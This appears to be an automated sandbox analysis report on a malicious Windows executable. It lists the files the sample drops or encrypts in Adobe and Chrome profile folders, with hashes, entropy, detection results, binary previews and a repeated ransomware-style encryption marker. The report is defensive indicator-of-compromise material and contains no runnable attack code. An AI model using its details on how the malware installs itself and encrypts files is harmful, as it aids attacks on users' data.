Preview:	.h.6.'r3(....w.'r.....&...T.(..".:.T.P..))W.....$I..p....&..b...M..o......GJ../..e.ds.........t....Z..T.K.{..=....{.....v..SB$..0....{..&W.........K0j.5..S5.X...y..,1.z....R.p4n...+.......2q6O.L.hq(..z\|..\|... ...C....P.y..U.KM..JM.).%.t[.P].[..J.J....N.L-7m.F_..0....X>.T..n.by..v..R.9..BdJ.\.....X....,.o.j.F[k...........J..w.rE<._.l..Bt:.\.i5....I].A.HY...`*..0EA....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	460
Entropy (8bit):	7.452485779754377
Encrypted:	false
SSDEEP:	12:GqUfLSWPd3Au3OBezLipUzz+Vys5hSWRe4PxaMixpZacii9a:GfLS2dw4Ooz3sxiTkbD
MD5:	49AA90CB9D899E8157539716B3C59952
SHA1:	4ADDE3AED61DD749E3BB2D51E917FC40A579A717
SHA-256:	C6437DA1830C453823007CC0EBA65FBEB0FA8027C8CEB68169A8AB5CE417331E
SHA-512:	9223D109C24F76F01FA4D9246D444E4E57E0C89AD06D17673FFC2B44D86B13E59B880F285225EAA671075270FEEE76E8FF0997472C416CB8DE14C3B949A70BBF
Malicious:	false
Preview:	.h.6.'r3(....w.'r.....&...T.(..".:.T.P..))W.....$I..p....&..b...M..o......GJ../..e.ds.........t....Z..T.K.{..=....{.....v..SB$..0....{..&W.........K0j.5..S5.X...y..,1.z....R.p4n...+.......2q6O.L.hq(..z\|..\|... ...C....P.y..U.KM..JM.).%.t[.P].[..J.J....N.L-7m.F_..0....X>.T..n.by..v..R.9..BdJ.\.....X....,.o.j.F[k...........J..w.rE<._.l..Bt:.\.i5....I].A.HY...`*..0EA....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	798208
Entropy (8bit):	7.6492722568410185
Encrypted:	false
SSDEEP:	12288:JHdymkH6+JdxrhhdF3wHogECWip4QBeXYeNaCA57tQL9ODxvZTTN85vaYkqC:JdkaCfrhhP3wi7rXYeNbaekDxRfO5zC
MD5:	B35348F4654893767A081B076F7BECDF
SHA1:	05B4FF88303A5E72FF43D5554C4628CEC9E71BF8
SHA-256:	8E53393DB26258FB917FD570861070420D31148C2826DCDBED52CE326C2D5FF6
SHA-512:	B634797706B5851ADE5983AEAC47F63723545E2D2C09F171871728A278F7CB72AB52D4ECA73FF6648D6224A7C4DA2EC261B4C6104FA2AB532334DDD5551B8E67
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42% Antivirus: Virustotal, Detection: 45%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%G._a&..a&..a&..lt`.\|&..lt_..&..lt^.M&..h^,.f&..a&...&...Z.`&..ltd.`&...a.`&..Richa&..........................PE..L....V.c............................_?............@..........................0..................................................P.......h#..............................8..............................@............................................text............................... ..`.rdata.............................@..@.data...`\..........................@....rsrc...h#.......$..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.753259164385548
Encrypted:	false
SSDEEP:	24:YKWwqn1FtuHVCc7NOy2l8BfVWWFRKLjllgiTkbD:YJtDcZOy2l8VWWu39iD
MD5:	1377D998A46CA244943728A44BBB695A
SHA1:	33CCC37837ECD8480B8B69636687D7A9D5FD7ECD
SHA-256:	41BEC3CE2560CF59569FFF36AAE380522BEA0453528F44F80A21BCB2F19992B2
SHA-512:	18BED1EF035C40D4E6BB9B92E7F63F998D9725A68163EADDDC1CB618E031558A0740E9D8EB1FAA9DC5FE4BE38CC01C49495FE6866CD3773E106F88C37146C08C
Malicious:	false
Preview:	{"os_...9.b..7.$.zP....{.....<.s..(.:...{B.I...e.3P.}V,l}.DB.DX.5..;....~..?..!..^R(~..A<.X5......6.L....{I...AS..b.....N..4.%.H+..v!.`a..a.....O.Y...j.(.......K.zd.....^F<:].e@.2./?.>..O..,..m:....Y..g..j.$y}....w..#.s....=}.S.D.P..}!.y....J.w:........t8..:h.h+).W.w.1..."G..1.....H"..n.K..9.A{......3...\|d.O.......<.R.D...!2..53...L.......9. {....t..i..f..4X.@3..9......RI..../...O.o"....]....Z..s..Z....)....S..U.lhT?..v.=.DY.N.27.K`@.......wz[..U..d......HC..*0...;.z.4..iO.3....4=R0...eI......f....N..q....V.X.M-RX.@.....:.T..'...r6..xI....RB!m...un...G,......j..B.%......].Wy(..2y .k..[c.p.}O..>.m..'....OB5.}...\|...@..9.........N.m..k.}.t..H.ly.3.d......R.."9..v#:eA......r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1483
Entropy (8bit):	7.870310623885641
Encrypted:	false
SSDEEP:	24:zUIbTKT1wv+eiEPZu4C8Bp9eS++L2LzShBe1GQxdV1kjOXiRdN9iTkbD:4yTKT1reiEPZRJBOS+62LaIsedV15cd1
MD5:	81E1B08483BF63B73D5534EC5D2E4E94
SHA1:	89C8668E1DFCB770DAD0F55FAC5D9CD2AB14CE0C
SHA-256:	F77D63D33190F27F690A1584FFBBEA7B9D1096F70E7AC611D36ABDCDFFB6D3F5
SHA-512:	895CA603B111FC930FAC3CD28DE6090AC0F1C9BDA83F6D1297A81512C848BFECB7629DA939D4CD628C4B13F319F5D5326E7E46AD131DCF8B7D5F5184BF8C5CE5
Malicious:	false
Preview:	...#.....=.G...jn.\|.}.wd..._-.Q.D..TB..8.........mS.Q&.. ^4.L.t$"..T...?.0...6..w.ez.6....E......r.-..$Vh}.I..O.4[.....t7.)./..N..... .&7.t......-m..Uv........&..f...]._.~.vw\|....Vt.@..7.#..^....>.;.e.B.\|[]b3..D.G.=.Z..sk...n..An.+A.. .vx...[...c".XI....7.+.%.l.Y........[.......E...B..OS.......z....Z.R..X..3.....Df..#*v@......T4"24V,k,C......^....[r..F._Y.3....^4..Wbz_...F.6....\|q2o.2.o.;.,.^.\|Y.p.F..&.CN4.......\2..R.M_.w.~\|..D..y......&.i.........o.L]1.......<U.....@>......v.Y.Z.Y.......A..GS....l.y.....Js.x[8.}.....a.a%mSi..9......"g..U...}.......9.eP.PMb.qF.-H\S{!.Ij..GL..m..H.gW.=...T..R.i.m."9.%my."f.....EA!...<n.a.......2.hf]SCLn,m.:.vi.f....\..8.l...e...W.E...%!..!..o..t@.S...~../.........b..,....4."A.......E\|'p..T&...\..Q..J}.wu.J.-.v.......oq.yQA.c.......b.W.....D.,..e...a.B..F.T.._X.2S.. ......]\.d..'.c......u.-...I.Ca..S.H!.c..KJ.W^,.=P....-(%..x...m.7.\).B..dN..Q. .C3{..O.n.....eZE.7....r.P$.4d....>.Bx.H.....&......4:)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.854407369503367
Encrypted:	false
SSDEEP:	48:3dn2ZAF2LPYpDjG6YlbxCvjKQ9YuiWcDuiD:9KpPYp3GvlVDQQx
MD5:	760E719D048376668A8E97855018D710
SHA1:	F2B0AC852748FAA6EF3B51EFB54F0C285C980F87
SHA-256:	C7F9202FF6ABA1B6632E298EB169DCF161D4ACE4E745BEB27604DB2FEDAAB75F
SHA-512:	D7DC52EE16F6C4ECA9116F37C41D31525FFF5D7A63639B11B84ED884700E84A20FF9B692A802BB9A41E526B40E090E46F789987770C788E291A0BE152DB0B347
Malicious:	false
Preview:	%!Ado.......q..V..k6L't}..]..N...gR....t.nHQ.O...2!....X.Ut.v.L.p../....i~... ..GLe.......j..Y.[........k.%&{.....m\.Z....1.......`A..X.J.....>.k....b...M......+.S....c.B!J..oobh...^.AtD!.`...+J....... .....4o....S.\|{...Kl.....9.F_.I.~s..T.M....s7w..v.{....1....T....c.o.d^.....v.K...0'..\...N....m..Y...o........0.... .M.f....... .E. :..n.../...%...._....i@.). .x....U......n.....t!.8n.T..oJ.4...B.'.....F"...!A.N."78..}y..a-.....k8.'....7..&......h.!......]S.v.........vH. ...$.s......0.G....o......."...........t.~...L...#.4..\.`..B.......k..ur-.]]J[[\|..4..h..^..RwV..%Z.a..}<...?.~#4.......C......V.c...j.J...d...m..3......;._.H;.._...X8...3v/W....B),!.g.<."....Q...n.@5<$}..Mo.._\..?u";...k.q..s..}D...^.J.?...GcF.2.6.!l.....k.9.pWEKNed.v:..<.v.NN.t.j1.m..->..=.g:.....n=j...=&}A.b.;N^.>IZ..2..r.....y.".kL...C.qL_....mZ?....s......l...g...].&..i..p* ..6.8[.H........./...v5d.1.wc..C.v.U..i....V..B.1MYD..:z\|.=.".f.%..'?WG.M...n..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.877575971484753
Encrypted:	false
SSDEEP:	3072:uOYHDvriiARLNDEqdA4WmFz8J4eWqPNwjHvmFGF2YSp9VBMeQxtedFca7fzhIaXU:/iARL5yJmFzS3aLvJ2Dpew7aaXE07ZmT
MD5:	36F4213E37EEF82A469C6C180226CCBE
SHA1:	E92B9FC9E39CED639CF40E4CB526585D15F3F33A
SHA-256:	7A11D736A69176C326E1162FFD2ADA4612A8F913568F7AEB41E3D0211793D824
SHA-512:	047E255131B4D7A9A14E7F6AFC5712A37B77A4B9D9C44CB44154B20186E723C889583D7B84AB66D6CE754F0D5DE94D163F6AEE9D63D6BA84FE8EDBFA925460B9
Malicious:	false
Preview:	%!AdoP.p...z...==...l..?...Bw....^..j&.R....L.B..A...UB..m...X...7I.q..YqA.r.))dG...%.[.k...{.1..~.......?....JX.....\..hy_F.@..$... ...QC....'..K\.&...>.........=......f.....(b../^..Y.t......lz.)....[z.\|;hv.?.U.q..%I.ER6}....IH..'.........p7 ..4.V..F......8..f#[.>k..T!6..I._...V .rv..i1..S.c.>..R.._.....(9...d...W..b.;...f...D8'.3sZM.qm.z..f..A........99.E.H.!..W!...Xg...lAIm5.....$.::....LoN...J.M.1.+..n.r......Q}...x90............2/B.E.w.#j...p!.cu..T,..r.7n.z..Mg.d.7...w%I(.p..!=..#k..7\.s.).2bIe,.V6...[df.!.m_..N....P.....g.=.....b$..<.JE..A...@..e.(2R.....e./f..s......^....P[v..N.bA.G..&Q................N.._8...Q.l5.K}.HO......T..9./.0...R..8I[..m........".\.........O..6.W.........'!...jX!k........!...~v........j....\|\I.....r..i....4Q.......r.OBN.;........).{I..n....2V....2.... ..L..R.&.rR/ \|aW.{..<oLBS..ep......U.\.@....;8.1Ya..w....1...{..niu'..j.........=..D .?..d...j)uUD...b.K>.-y..r<.B....y.fK%.....]..R1.....S...s.....2

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.986399371499888
Encrypted:	false
SSDEEP:	3072:ZGksMidigWdm7I4HG1QucveW45QF6JfjNS1hbWqj6OoWiRna:ZxidKN4fF0i1ina
MD5:	6D8092419866A2F91FAE72EF8DE059A3
SHA1:	ABF042AD83A8DD0F3F99A9C798F891D973041183
SHA-256:	9EAA6AB0898EAB56BE8D06EDA7269DFE29984AE9648D1A642A2433025B140566
SHA-512:	B578C9C57C29B97446D255DEE25FCF204D0767630AB59870EA5E1EA001B0818511E07F176C56C4BE4EB14FF462D7FA2F21C707789ABDBDABD092B9C173097E71
Malicious:	false
Preview:	Adobel.....t...C..L..c....\|.........._5.U.{.Zva.'9.n.....qNQj.R../t..~Kr.....Q........'...d....0._..^.:.......d{DtuC.U)..I.c....;Tt&h...%C...Q.!...$.T@.W...t..o.ch...Dx..)...:-..$4l.4.J'..4...(M...aL...Q..7....E.}."Z.?F......0.."...:.E..9Y..8.....%.]J..u..........5...S.(V.....<._.....`...._..5..5.._.`>..[.a....It......#;..\s<..wO.#v.....bF....\|IWc.\....N..7.".ta..(.C.,..J.!Z.....R.......U...b.5.X.Z../e....:..=......Z.S$.{8.>...-..K.R,..4......K6.>......IX.\.....g.....m...`..uv.6...n.-c00w..u..w..RS......}..\|..[...V.`q..S..F.h.E.j.%.........}7o.x..{.....6v..s..0sF..k..?.....T..MP.........u! ........3........d..K..n.....pE..7..>u..L....y.Y.....u.....::..tn.@n.....#!\...g/_Ea..\|.+P..J%...sD0.[.}y/#.M."..lI.e.1.P(....>.E.N8.-.X...l..*.x..T~.5.^\.Q..0.che7z~.._..Rd-8e......]8..x=y.w...LtQ3.d..!.....0.....4.i.q\|gKY...N.c..b}..'K-.......s....~_.\.."..x_.'.Os...(pb...w@i.3.w.BX....rc...;..NE.o.<.D..H.B.......hj..se..."T..:.......{B....+....@+..M

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3152
Entropy (8bit):	7.944634629130181
Encrypted:	false
SSDEEP:	48:YOu2Nquwj1JNc+vQhhQir2xKLVqh4rkXN6AWuTfkuX9qWOkpWOfY6EjLXP/8iD:yyqXmxk+MC65X9RBwOA7L/T
MD5:	C4D0AB6B6FF51BF73DA2E513365B60C9
SHA1:	D6BAE1D5479D80C22A8F8B877A9A01F150DD2BF2
SHA-256:	7C5B1ED17AABA08A4EC815508EEF1806443B01AC416EAD04281C475468954BE9
SHA-512:	2D85CEB1411AB34A219763B91D21BFB3B525CED1BFE7F50542626327D3F7E70B0BC6E1434FEEAC77C306EF4586265322CA325AABA73BD36759548217B6FCBAF3
Malicious:	false
Preview:	{"all.B-.H..$'oS(...cGe.u-....~x..A}..R.a..u.e^.....t..0.$@J..=.Ky.v...W.)..K..8.......e..A?...x'.K..+..a.j..z.HBL.S.^&..u..8..1.`M.L.c.9.9...\......s.w..n_...72WP6....."...CK0..(.z.._aq.h.&K.. .,5..2\|&.F.M.C.\|...O.\|>\.@0.(P.....[../.\>..f.............R..8I.z0..=.oi$4...kn....J.v...........Z.,...J8.xW.D.o.V....>...{f.8...r.....6F.}.n..i\.~5'.Jqk.....I#....+..................<}..\|.ad..5...j..X..=...k........3.Tj.L4..P.....<......`...T....VFe..cj.d.Q.g....*.JQ.i\|..6....z.{b..`@~.N!.z..k......).\.....i...a....hu.0.:1.M.;.M.PhIU.KE5..\.....3..._.A=V..6...f<@s..N..................'..N.{b....S.>h.....;.x...Q...+. o. 7Y.l2<?...5%T....l.-r...U......+.....)..h1..y...2.....F....^.&...6....'....O...H'.....S............U..m..y.8..js..c.......b..9.>.e......%./+..X....vUf.3..[4..n../-(...k.SU.........c....0_..x.....T)..j...!.mrOH..U.4..N..)..x........"L..Y.GJX..l...8X..[A<..H..1.Y..8.W0..(...<.pc..G.o...95.^......3.E.6k$(.~...;9.....8.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997317497236421
Encrypted:	true
SSDEEP:	1536:sOZMZ00vMSn/n+AywlvljNR7BZ3vTHZL+p+0zCWhcW:q02z/TvRNd337ZQ+GKW
MD5:	3BCEBCD53A99918EEF388115371AFF31
SHA1:	2A43C2B92C12CB4B39D39260BF91C56FA45079C1
SHA-256:	56DC378FA36E1A1B467F542A2DA1FB1D5A673FE8FA87FD31AC39DE1FE472B5B2
SHA-512:	CEC013A50E6ED8A55041D5128B656CEF5E0BAA4BA4568DF2ABAF39EE987BB475A81629D00E3851A128A70670898C09573D589D30B7111BC8D59EE621D663B0DA
Malicious:	true
Preview:	4.397/....C..njf..:"K..L..E.ky.i.(...~.V.n....>=.G.fD\.I1.w.....k.....J..%.7./.k......gGr......s.{/...I..@)i..n....~.\|...cC.Q..F.I..t.R6......ft..5..: ........9..%\|...j2.........^.&j.....4.I..Gs.=..2.[6.R...1.j..H.e^(.P@...P.5K..a........8.....g......Nu....z.j...f..".....aj.....kBU..0%..b.;X...G....+.../...M..@w..2..V.q{.......R._.....9J{..SFnv.o...q..e.,.s.I...G.....$RH.A....4v..v.....E...}K9...$[T.;...or')...F......k.L`..J.iyo..\|.n.@..y..\|..]..c.=...^.Q..........]1.@g..'t!R.E.J,./.&.i....2u.5....ItzD.s...A..I....;...hT=;...H...#..5#>.J.\|.......t).....D.`.b.a.!U.s..L...?]....b.@...M.8.=...H.......E..+.....;k.?......V.}.....-&~......N..Ls...G..._....t.9.3..%V,.5.......f.^...7..y3$.(c.5....y....~....9..z....S.!..h...v?....}..$O6^Cy....>'.G....d@......q.E....z.T........$?.>\|.R./...A.o....R\|.}.....f;.#P..u). ..XM<b..Q2...;fnO..7n.<..K...MU.......9.D...i:a.T......."L....%v...,....t...@.Ll..v.B.&...a.#Q..k.M.8a.8]_..W...}.v..$........O...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.481001813796799
Encrypted:	false
SSDEEP:	12:qxDKeLY/itUroc3+Xe5mPpbLS2yHJHlm+/Cinnm7ixpZacii9a:OlhU3OuAPpbZ8tlnCinm7iTkbD
MD5:	3FB39272EBD00E6E87695B8E8082A414
SHA1:	6A039130C222109BD6F61F910B159ADE66C9586D
SHA-256:	CB915ACD72F7661BD817D55133520D97596BD00E2A6261C7E66508B108B2A39D
SHA-512:	A65D9565865A9317F9582DB4DADC1F75C2E4BC464627C97D84FAFE6E6FF41AC081C12699C58243AB824F79F5548F964F4F2B306E8516A5A6F372CAADC9018A3E
Malicious:	false
Preview:	.f.5...5.....O..B.g.1.E....V......z.9.!`.... R.......)..?.X...r......-.&....I.P.....S"Hc...W.u5#.H....M...........".L.#...o....X....g.........p..;........p.aZ.i.<.WCL..G74.~v..j.r.k\.....z7.:..N`.......G.s...>:..p].....F.....8..~.g..{...........d...Y;g.N..U..y0v..](.....q(p...:...V....<..m..mdO}N...@..C.jB..rq....,.{`O.6......l.G.{2..W....d.e..}N.......FH......5hOn..0?.k+5.8..?!r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.479496052653055
Encrypted:	false
SSDEEP:	12:q/P0ACX+X0vpkCjkflKSlzbE8CbEzDv8ixpZacii9a:M0AekCj0dbUbEzDv8iTkbD
MD5:	F80292F5CBDD8947E3BEE9284D7F80FA
SHA1:	2F912446DF5659645B5DDF2AD488973462EBB3B0
SHA-256:	0F59B37E950AEA9C8F9110684ACABE1F7439A1207DF34741B2635F6B46781101
SHA-512:	93CED46AC0C6D85BBCCF7B20069D59FCEB8F5399940949E5A0D28AF2563DEAF2404018456F8F0573D0DFC8D183E855E7F983EE36875A69EDBE6064834D563E03
Malicious:	false
Preview:	.f.5..Au..M.o.....9^.ruk:N.K....N.>.}..!......Fd2K.......1.g.....v{.+O.K..R.........q....CaU.T.d..a.v.2.......H..b.v..9.i.Y.p.....2..x4..V..a.tU.P.W...mDsp..."m..77...w..?}.6R.RRLM.A'%O..Cvl...7...&..\|wG..L...c.]...(D8.?.......'.t^X.2..O...`.,qC7.....'..SxD.....J..m]..I5Y..CSS.....9V...M}....o...9t.....5(.,..."v.V(..Q@z(...8}./Q...............$.G..}t.j.`....DV..a.$e.I3...X.....e........\..w..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.730190135514843
Encrypted:	false
SSDEEP:	24:yscstD+iiaGFhtFTHLF8dKgw7DgnnIriTkbD:ysgZHpp8IgsD+nliD
MD5:	953F64B5FC8D10C38B78A87FA874952B
SHA1:	8B52D41FE4BE5B79B205FEBD8AAE88A7A767CC4D
SHA-256:	FED5A5FBA3392455F6FFC8EEAE0B78484F57447D81BEA24F6F8E84DEA8FD5571
SHA-512:	1108B9FA36B44E5153D4C05B386BE2F66BAA0594325BAFD6D66C4241035391C8EBD798027855AE7622F2A287F07EF2D20EAB3AF72A880B81AF3E197ACCECD883
Malicious:	false
Preview:	.f.5..D...." ...?a?.U....4..E:h#..Q.uK..)..0.1..N..P..D...?.$...Y..^p....!9.l..v..G_.../.%q!D,.?.......+...?.5........p.S..o...H..A2#.R.\|?\|Zx.xPF.l.....Wbd....Q...~..7s.}......No...T.^.C1...Jd.....k....~G.......gI.G./}.........94...^..H....u..n..E..E.C#.l.. ...#`,...C..i<..t...o.....................qc...Ki.[bO....6.].V..?.....o..ya(.d....C...........^.e(e8.=8.N..?W..}{.u.t.:...,r..e@.Zr..'.q(]......~X...<..t..2.$..^0TI..2.....(......D?.Y..l.p..E...Ikk..'...uk......n..!.i...ej.._Nz_.F..&.lT%....$....m...(.o..:h?...h...E....'..x..3D...5.U.7..<.....MG.P.&q;...od.O7r..i....P..%...?.1.c9.......`.Wp..4.r....by...9,.q..LF..e.L......-=.@.u......"\j.Y..VS....j.....!..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	660
Entropy (8bit):	7.634731867426148
Encrypted:	false
SSDEEP:	12:k59Iq+rBXmZl14GWXVkRQLXU+sDp/tC4kmayrskTbSaEDplMXhvpZRDSixpZaciD:+9I3rBWqXXqcU+sDrC9tyrsaeakmhRfO
MD5:	CEB8DD31127F388183A67277C90BE09F
SHA1:	86E7F8CD2E9471CF3BDDF546ADD7B2DD00DC4F9A
SHA-256:	C10295A9B584B17C38B2498D5C480930682627E5379A35FE6FFA509D9710DF85
SHA-512:	90ED4CAA64BD7669262AFC3216DCE1D3D8F381D09052C0E791F2BCBEB9AFBC4CEACB8390751824E8B0086B86400CD85407553977B1DA80BA577423F72165A326
Malicious:	false
Preview:	2023/.5c$........d..cq..`.,..^....Z.....G...N.t..0..Zf..h..#e4...u....#X'...S.JG..].onu....N.z.m....}~{x._g...p~........@..;D.G..F...../....:...,../9P}..%...(.N.$.2j.x5..#8?....]9 8..o.A.~R...%...q..l.....N...7]...E...>...@.W.s.6...F.b......O..D.G,.R.%dsQ.9.9..N....4........n..YX]...(.2....3wg.p.?....Z.......*...~..e.e.GCERW{....J.#.\x..(...OG^oX09J..t..-.3...p.....)tb....:..d....%.{.6F..w.vi..z..cK.Xr.....%f.lV.V..~}.j.1d..j:.\|..w..Q...v...y...S.+K..E........+..<S&f\..x....)..N.."Uh...O.ywU.R.0t...g`r.XE..Md;..4.V[y.n:..Tp..\| ....x..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\128.png

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	5316
Entropy (8bit):	7.958374226415694
Encrypted:	false
SSDEEP:	96:wyEbTwJdnoqHHG0TFW/278SyAC3DJZN/1sZBX14PrNEg0CZkYj:wF8JBoqnG0QO4ln3dZ1GHGj+x/Yj
MD5:	4E45CAC9DF4B77C6F486ECA99AE09528
SHA1:	ED28F62D3403A0CA6E017B2473FE7571CA73F61C
SHA-256:	9010894F1C9AAE79794A7C9E349BDBCC8CB19BA687DA165F8A770DB52B3D19C6
SHA-512:	EC0B70B75D67440F07A144794ABA93B66CCFCAADBE1A4487C48F1EF9FC22EC2BFBEC56970771A96130E0F1BF721E95E90B446D5D75DFFF930DA77E64BA9DDC45
Malicious:	false
Preview:	.PNG.R2.P7e.....(..O.L.`j.....`.g.W.w.N.m+..<.J...uGI0.g..p..P....4..i..Y.m.1.......E..".?pBb.:r.I.f....k...]\}y<.....,xJ..U.....f.d.MmY<0...I.i\|......;..>...j../Ov.fH2.M...P6c..Q.).A%.Hj/..3y..(t_.#6^"$be_.....H.=bcV.....T...(.R.#.'.H.x....^h.....-....>..xK....h?.%....:....y.a....H.e.g......../L...j.$.d+.......eD. Un.....RF>...s00..w.W......j...qp..({..&7..@.(&.Z.AP._..r..1a.."....5..mD?[`ea..f)<../S0......h.G..g[8G.."?....d..V^.Q..^!.....<,.U.....xR".g..+^.-P-..s.....QD..a..M%..7?.c.....b72hyq.....i.mj)...."..!........@...?.8.<...%.B.f..d..p.B..I...]~h.....nE,hS.?3......!.A....(=.....>.#.9......vY..)6..m.e......4..~.?.7.....A....'..e...G..l...P.!w........B2..,d..qNF/%.."t....DS...q.kb...nb.B.l.a..T^.z.pm.."B.......a...)..h..6...ZZ.cR66y..;...n..<.%D.#bC._.E.0I.8ga.D.&t...5....m..Q...+..~<;$....K...H.r.....f...".n....%...W..a........:X6...M..+..N......c..WV......57....-..K........EP.sD.....>...:Gs....`8.p....4.]..^G..X..*7

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata\computed_hashes.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3748
Entropy (8bit):	7.953474096877187
Encrypted:	false
SSDEEP:	96:Zn2shGoYW5l7Tip7h4xpBkyL7rgpw+fSv9ZzL0iadFRCkWFxU85q0a:gscovPipixp2Npw+KlZ0JFSUaq0a
MD5:	A4ED30B4C24789A666594458CF5AF872
SHA1:	485ACECA7F78E72A5D559508EB8CF927FF688EDC
SHA-256:	6E99E24B102428FB095DA15CF65313E7D1DD47195A53FD52E6582789A254FF45
SHA-512:	C69AC35DFC8E14BD11623384666A69DC2E02CE373E002408816E69CB0B86FC43B7874E50821AA15E965FB9160EA589F036E169BC579C37E71EED279F782A055F
Malicious:	false
Preview:	{"fil...e....:1...C.g!Sd..~..G.lh.Ox....H?%.....6_W8..r...~......=.<M7.Mo..S-.z..0...6.............%.........f.~.#..~S.........!Z.z.H.iv...[.....&.yz.W....&.3...7O.\|n....DJ9.......l...GJfV....s....\|\..y..<.x.....%i=Z>HK....$....O.z...P.0so.....hO..X....5.d..G.M...u...o,.X....7.N..Gh.....8.._.rq_.Q&0+".. G...W...y8.hy.z./..R.Os1L..D=y54)$.N.\.....8.a.... Y.S..]?......\|..}..f[..{.].....t..h.....J..&.....{.1Y..{.y/.......<..gJ.9Y..}..Bz...&...p..X....E......B..........+...X.K_..O.\=.?M.yM6U..d2....W.@...].^......]...4k.....$ec....i....c..>.j.&..a.....\o.g......W..5[.L.o9...)...q...'........{.*...l\.z.c.y....W7.2.w..:_..g/W........5.k....i>..E..PrW..UT...9...&gB.[./..6L.B..H.5B]..GN.a.._/ 